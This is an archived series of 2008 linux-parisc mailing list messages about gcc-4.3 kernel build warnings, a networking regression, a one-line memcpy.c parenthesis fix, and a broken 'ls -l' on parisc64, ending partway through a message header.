User-Agent: Mozilla-Thunderbird 2.0.0.9 (X11/20080110)
In-Reply-To: <20080328055652.GA24649@colo.lackof.org>
X-DCC-scarlet.be-Metrics: eir 20001; Body=9 Fuz1=9 Fuz2=9
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:250 gmane.linux.debian.ports.hppa:5165 gmane.linux.debian.devel.gcc:27720 gmane.linux.debian.devel.release:19903
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/250>

Hello Grant,

Grant Grundler wrote:
> On Wed, Mar 26, 2008 at 10:20:35AM -0600, Grant Grundler wrote:
>> Another gcc problem report:
>>
>> That past weekend I built the latest parisc-2.6-25-rc6 kernel from
>> Kyle's tree using gcc-4.1, gcc-4.2, and gcc-4.3. All three kernels
>> booted but the networking only worked for gcc-4.1 kernel.
>=20
> Followup: gcc-42 is working too now and I'm not sure why.
> I upgraded gcc-4.3 package from 4.3.0-rcX to 4.3.1 AND all of it's
> dependencies as well.
>=20
> I looked at gcc-43 build output to check warnings related to networki=
ng
> as suggest by John David Anglin.
>=20
> I ignored the couple of warnings in drivers/net/wireless/.
>=20
>   CC [M]  drivers/net/fealnx.o
> drivers/net/fealnx.c:896:2: warning: #warning Processor architecture =
undefined!
>     No clue what this driver is for. Ignored.
>=20
>   CC [M]  drivers/net/lasi_82596.o
> drivers/net/lasi_82596.c: In function =91lan_init_chip=92:
> drivers/net/lasi_82596.c:164: warning: format =91%lx=92 expects type =
=91long unsigned int=92, but argument 3 has type =91resource_size_t=92
> drivers/net/lasi_82596.c:169: warning: format =91%lx=92 expects type =
=91long unsigned int=92, but argument 2 has type =91resource_size_t=92
>=20
> 	That's just printk format strings.
>=20
That remember me that when I discover those new warnings with gcc-4.2 <=
http://article.gmane.org/gmane.linux.ports.parisc/70>
"discards qualifiers from pointer target type", they disapeared with gc=
c-4.3 with and btw this nic wasn't working anymore=20
(no ping no ssh, ...) even thought the kernel was booting. Unfortunatel=
y, I didn't have time to investigate in more details=20
(and it wasn't question to use gcc-4.3 as new default), sorry. If you c=
ompare your kernel build output with gcc-4.2 and 4.3=20
do you also notice this differences? (even thought it could be not rela=
ted to the issue I encountered, though).

Tx,
	r.


> overshot and found this one in drivers/scsi/ interesting too:
>=20
> drivers/scsi/initio.c:2585: warning: large integer implicitly truncat=
ed to unsigned type
>=20
> matching code is:
>         cblk->senselen =3D cpu_to_le32(SENSE_SIZE);
>=20
> grundler@j6k:~/parisc-2.6-gcc43$ fgrep senselen drivers/scsi/*.h
> drivers/scsi/aha1740.h: u8 senselen;            /* Sense Length */
> drivers/scsi/initio.h:  u8 senselen;    /*31 Sense Allocation Length =
*/
> drivers/scsi/megaraid.h:        u8 reqsenselen;
>=20
> The code at first glance looks wrong here. Patch submitted to linux-s=
csi
> and Alan Cox (who appears to have taken on this driver last year).
>=20
>=20
> Nothing else in the drivers/net.
> A bit more in net/ though:
>   CC      net/sunrpc/svc.o
> net/sunrpc/svc.c: In function =91__svc_create_thread=92:
> net/sunrpc/svc.c:587: warning: =91oldmask.bits[0u]=92 may be used uni=
nitialized in this function
>=20
> 	Don't care since I'm not using rpc.
> 	This is probably a false positive anyway. I've found several.
>=20
> And that was it. So no warnings that seem to be related to this netwo=
rking problem. It was worth checking though.
>=20
>=20
>> I just realized it's possible the 100BT switch is dropping the packe=
ts.
>> I'll try to capture a tcpdump from the omnibook 500 side using a
>> crossover cable tonight or tomorrow since without that, I don't see
>> how this can be debugged.
>=20
> Still need to try the cross-over cable.
>=20
> grant

Hello *,

Some time ago
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [Patch] typo fixe in parisc memcpy
Date: Sat, 29 Mar 2008 19:25:06 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <47EE9792.2080609@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1206818609 8625 80.91.229.12 (29 Mar 2008 19:23:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 29 Mar 2008 19:23:29 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 29 20:24:00 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jfgeb-0007Tk-5z
	for glpp-linux-parisc@gmane.org; Sat, 29 Mar 2008 20:23:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753936AbYC2TXI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 29 Mar 2008 15:23:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753969AbYC2TXI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 29 Mar 2008 15:23:08 -0400
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:34739 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753936AbYC2TXH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 29 Mar 2008 15:23:07 -0400
Original-Received: from [213.49.85.163] (ip-213-49-85-163.dsl.scarlet.be [213.49.85.163])
	(authenticated bits=0)
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m2TJMrJ2001891;
	Sat, 29 Mar 2008 20:22:55 +0100
User-Agent: Mozilla-Thunderbird 2.0.0.9 (X11/20080110)
X-DCC-scarlet.be-Metrics: sif 20001; Body=3 Fuz1=3 Fuz2=3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:251
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/251>

Hello Kyle,

As discussed by this thread <http://www.mail-archive.com/linux-parisc@vger.kernel.org/msg00058.html>
may I re-submit you this hunk:

a fixe of likely's macro usage:
Signed-off-by: Joel Soete <soete dot joel at scarlet dot be>
Index: linux-current/arch/parisc/lib/memcpy.c
===================================================================
--- linux-current.orig/arch/parisc/lib/memcpy.c    2008-01-05 13:57:26.000000000 +0000
+++ linux-current/arch/parisc/lib/memcpy.c    2008-01-05 13:58:01.000000000 +0000
@@ -405,7 +405,7 @@

  unaligned_copy:
      /* possibly we are aligned on a word, but not on a double... */
-    if (likely(t1 & (sizeof(unsigned int)-1)) == 0) {
+    if (likely((t1 & (sizeof(unsigned int) - 1)) == 0)) {
          t2 = src & (sizeof(unsigned int) - 1);

          if (unlikely(t2 != 0)) {
=== <> ===

Tia,
	r.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.gcc,gmane.linux.debian.devel.release
Subject: Re: [alpha, hppa] GCC-4.3 as the default compilers for lenny?
Date: Sat, 5 Apr 2008 12:17:19 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20080405181719.GB19742@colo.lackof.org>
References: <18405.27903.317733.531002@gargle.gargle.HOWL> <119aab440803221402w2bfe5a7le9499e4eb6e0e3c1@mail.gmail.com> <47E583EA.7000006@aurel32.net> <119aab440803251542l4d86ef9bvaf8163e940e1ab35@mail.gmail.com> <20080326162035.GB24944@colo.lackof.org> <20080328055652.GA24649@colo.lackof.org> <47EE894C.4010004@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1207419481 28170 80.91.229.12 (5 Apr 2008 18:18:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 5 Apr 2008 18:18:01 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Aurelien Jarno <aurelien@aurel32.net>,
	Matthias Klose <doko@cs.tu-berlin.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	debian-release@lists.debian.org
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 05 20:18:32 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JiCxy-0004uN-9C
	for glpp-linux-parisc@gmane.org; Sat, 05 Apr 2008 20:18:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752840AbYDESRc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 5 Apr 2008 14:17:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752904AbYDESRc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 5 Apr 2008 14:17:32 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:34550 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752840AbYDESRb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 5 Apr 2008 14:17:31 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 87D9C29805C;
	Sat,  5 Apr 2008 12:17:30 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29779-08; Sat, 5 Apr 2008 12:17:19 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E5288298067; Sat,  5 Apr 2008 12:17:19 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <47EE894C.4010004@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:252 gmane.linux.debian.ports.hppa:5174 gmane.linux.debian.devel.gcc:27833 gmane.linux.debian.devel.release:20047
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/252>

On Sat, Mar 29, 2008 at 06:24:12PM +0000, rubisher wrote:
...
>> I looked at gcc-43 build output to check warnings related to networking
>> as suggest by John David Anglin.
...
> That remember me that when I discover those new warnings with gcc-4.2 
> <http://article.gmane.org/gmane.linux.ports.parisc/70>
> "discards qualifiers from pointer target type", they disapeared with 
> gcc-4.3

I saw that but don't know what it's about.

> and btw this nic wasn't working anymore (no ping no ssh, ...) 
> even thought the kernel was booting. Unfortunately, I didn't have time to 
> investigate in more details (and it wasn't question to use gcc-4.3 as new 
> default), sorry. If you compare your kernel build output with gcc-4.2 and 
> 4.3 do you also notice this differences?

By "build output" do you mean the binary (e.g. dot-o files) or log of what
was compiled and which warnings were emitted?

thanks
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.gcc,gmane.linux.debian.devel.release
Subject: Re: [alpha, hppa] GCC-4.3 as the default compilers for lenny?
Date: Sat, 05 Apr 2008 20:07:34 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <47F7DC06.9010702@scarlet.be>
References: <18405.27903.317733.531002@gargle.gargle.HOWL> <119aab440803221402w2bfe5a7le9499e4eb6e0e3c1@mail.gmail.com> <47E583EA.7000006@aurel32.net> <119aab440803251542l4d86ef9bvaf8163e940e1ab35@mail.gmail.com> <20080326162035.GB24944@colo.lackof.org> <20080328055652.GA24649@colo.lackof.org> <47EE894C.4010004@scarlet.be> <20080405181719.GB19742@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1207426145 14431 80.91.229.12 (5 Apr 2008 20:09:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 5 Apr 2008 20:09:05 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@systemhalted.org>,
	Aurelien Jarno <aurelien@aurel32.net>,
	Matthias Klose <doko@cs.tu-berlin.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	debian-release@lists.debian.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 05 22:09:36 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JiEhj-0002hw-N1
	for glpp-linux-parisc@gmane.org; Sat, 05 Apr 2008 22:09:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753260AbYDEUI4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 5 Apr 2008 16:08:56 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752864AbYDEUI4
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 5 Apr 2008 16:08:56 -0400
Original-Received: from eir.is.scarlet.be ([193.74.71.27]:34566 "EHLO eir.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753265AbYDEUI4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 5 Apr 2008 16:08:56 -0400
Original-Received: from [213.49.72.207] (ip-213-49-72-207.dsl.scarlet.be [213.49.72.207])
	(authenticated bits=0)
	by eir.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m35K7YYw012268;
	Sat, 5 Apr 2008 22:07:35 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.9 (X11/20080110)
In-Reply-To: <20080405181719.GB19742@colo.lackof.org>
X-DCC-scarlet.be-Metrics: eir 20001; Body=9 Fuz1=9 Fuz2=9
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:253 gmane.linux.debian.ports.hppa:5175 gmane.linux.debian.devel.gcc:27834 gmane.linux.debian.devel.release:20048
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/253>

Grant Grundler wrote:
> On Sat, Mar 29, 2008 at 06:24:12PM +0000, rubisher wrote:
> ...
>>> I looked at gcc-43 build output to check warnings related to networking
>>> as suggest by John David Anglin.
> ...
>> That remember me that when I discover those new warnings with gcc-4.2 
>> <http://article.gmane.org/gmane.linux.ports.parisc/70>
>> "discards qualifiers from pointer target type", they disapeared with 
>> gcc-4.3
> 
> I saw that but don't know what it's about.
> 
The answer of Matthew seems to work ;-)

>> and btw this nic wasn't working anymore (no ping no ssh, ...) 
>> even thought the kernel was booting. Unfortunately, I didn't have time to 
>> investigate in more details (and it wasn't question to use gcc-4.3 as new 
>> default), sorry. If you compare your kernel build output with gcc-4.2 and 
>> 4.3 do you also notice this differences?
> 
> By "build output" do you mean the binary (e.g. dot-o files) or log of what
> was compiled and which warnings were emitted?
> 
Well, my understanding was that you compared a log file of a build with gcc-4.2 with the log file of the build of same src 
with gcc-4.3. That's what I did in fact but I was so busy this week that I couldn't post the results. Sorry, I will be off 
next week too, so will try to do when I will be back next Apr 14 ;-)

hth,
	r.

> thanks
> grant
> 
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:02:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:02:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: ls -l is broken
Date: Sun, 6 Apr 2008 18:28:12 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <20080406222813.F11CA4E43@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1207520914 28341 80.91.229.12 (6 Apr 2008 22:28:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 6 Apr 2008 22:28:34 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 07 00:29:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JidMG-0000TG-VH
	for glpp-linux-parisc@gmane.org; Mon, 07 Apr 2008 00:29:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754034AbYDFW2Z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Apr 2008 18:28:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753908AbYDFW2Z
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 6 Apr 2008 18:28:25 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2399 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754034AbYDFW2Y (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Apr 2008 18:28:24 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id F11CA4E43; Sun,  6 Apr 2008 18:28:13 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:256
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/256>

I just noticed that ls -l is broken:

dave@mx3210:~/gnu/gcc/gcc$ ls -l ltsugar.m4
ls: ltsugar.m4: Operation not supported
-rw-r--r-- 1 dave dave 4122 Mar 16 16:50 ltsugar.m4

dave@mx3210:~/gnu/gcc/gcc$ dpkg -l coreutils libc6
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name           Version        Description
+++-==============-==============-============================================
ii  coreutils      6.10-3         The GNU core utilities
ii  libc6          2.7-6          GNU C Library: Shared libraries
dave@mx3210:~/gnu/gcc/gcc$ uname -a
Linux mx3210 2.6.22.19 #4 SMP Tue Apr 1 19:24:18 EDT 2008 parisc64 GNU/Linux

coreutils 6.10 works on hpux.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ls -l is broken
Date: Sun, 6 Apr 2008 16:42:04 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20080406224204.GE16451@parisc-linux.org>
References: <20080406222813.F11CA4E43@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1207521750 30447 80.91.229.12 (6 Apr 2008 22:42:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 6 Apr 2008 22:42:30 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 07 00:43:01 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JidZk-0003Xh-JN
	for glpp-linux-parisc@gmane.org; Mon, 07 Apr 2008 00:43:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753057AbYDFWmV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Apr 2008 18:42:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753539AbYDFWmV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 6 Apr 2008 18:42:21 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:55420 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753057AbYDFWmU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Apr 2008 18:42:20 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id D3CEB494006; Sun,  6 Apr 2008 16:42:04 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080406222813.F11CA4E43@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:257
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/257>

On Sun, Apr 06, 2008 at 06:28:12PM -0400, John David Anglin wrote:
> I just noticed that ls -l is broken:
> 
> dave@mx3210:~/gnu/gcc/gcc$ ls -l ltsugar.m4
> ls: ltsugar.m4: Operation not supported
> -rw-r--r-- 1 dave dave 4122 Mar 16 16:50 ltsugar.m4

If you strace it, what syscall returns -EOPNOTSUPP?

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ls -l is broken
Date: Sun, 6 Apr 2008 19:09:59 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <20080406231000.D53CB4FC8@hiauly1.hia.nrc.ca>
References: <20080406224204.GE16451@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1207523421 2148 80.91.229.12 (6 Apr 2008 23:10:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 6 Apr 2008 23:10:21 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 07 01:10:53 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jie0e-00028Z-8O
	for glpp-linux-parisc@gmane.org; Mon, 07 Apr 2008 01:10:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752655AbYDFXKE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Apr 2008 19:10:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754240AbYDFXKE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 6 Apr 2008 19:10:04 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2401 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752655AbYDFXKD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Apr 2008 19:10:03 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D53CB4FC8; Sun,  6 Apr 2008 19:10:00 -0400 (EDT)
In-Reply-To: <20080406224204.GE16451@parisc-linux.org> from "Matthew Wilcox" at Apr 6, 2008 04:42:04 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:258
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/258>

> If you strace it, what syscall returns -EOPNOTSUPP?

strace is broken and quits before the relevant syscall.  Think I
mentioned this before is a different context.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ls -l is broken
Date: Sun, 6 Apr 2008 19:37:05 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <20080406233706.C157C4FC9@hiauly1.hia.nrc.ca>
References: <20080406224204.GE16451@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1207525037 5819 80.91.229.12 (6 Apr 2008 23:37:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 6 Apr 2008 23:37:17 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 07 01:37:49 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JieQn-0007hT-Aa
	for glpp-linux-parisc@gmane.org; Mon, 07 Apr 2008 01:37:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754797AbYDFXhJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Apr 2008 19:37:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754917AbYDFXhJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 6 Apr 2008 19:37:09 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2405 "EHLO
